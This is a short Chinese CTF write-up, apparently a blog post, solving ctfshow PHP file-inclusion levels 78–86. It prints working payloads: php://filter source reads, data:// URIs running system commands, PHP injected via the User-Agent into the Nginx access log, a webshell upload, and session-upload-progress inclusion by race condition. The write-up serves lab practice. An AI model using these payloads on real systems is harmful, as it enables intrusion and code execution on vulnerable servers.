zoukankan      html  css  js  c++  java
  • ctfshow web入门 文件包含

    web 78

    在文件包含的题目中,php伪协议是非常常用的方法

    php伪协议的利用

    读取php源码要加base64过滤器

    ?file=php://filter/convert.base64-encode/resource=flag.php

    web 79

    ?file=data://text/plain;<?php system('cat flag.php'); ?>

    php给过滤掉了,用data协议执行PHP命令,并且php命令里有php也要base64

    为?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

    web80-81

    日志包含

    Nginx日志目录为/var/log/nginx/access.log

    ua头中传入<?php system('ls');?>

    <?php system('cat f10g.php');?> 控制台查看php代码得到flag,cat命令不会执行php,只是查看

    或者直接传马,菜刀中的url应该带有参数是http://be249151-f1df-437d-88d5-104efba7f0ba.challenge.ctf.show:8080/?file=/var/log/nginx/access.log 传入的file参数是会被执行的

    直接填目录的话容易出错

    web82-86

    参考文章

    https://www.freebuf.com/vuls/202819.html

    https://www.cnblogs.com/NPFS/p/13795170.html

    https://blog.csdn.net/weixin_45551083/article/details/110259089

    利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

    1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度

    2.我们在要post传输的数据中中写入我们要执行的代码

    3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名'sess_'后面的名字

    4.之后要执行就要包含这个session文件

    5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息

    6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见

  • 相关阅读:
    DFS(深度优先搜索)
    dp动态规划 之 背包问题
    python选择排序的实现
    python冒泡排序实现
    python 数据类型
    SyntaxError: Missing parentheses in call to 'print'
    MFC位图传送错误之一
    SyntaxError :invalid syntax
    Python之命令行参数
    Python之print
  • 原文地址:https://www.cnblogs.com/akger/p/15361466.html
Copyright © 2011-2022 走看看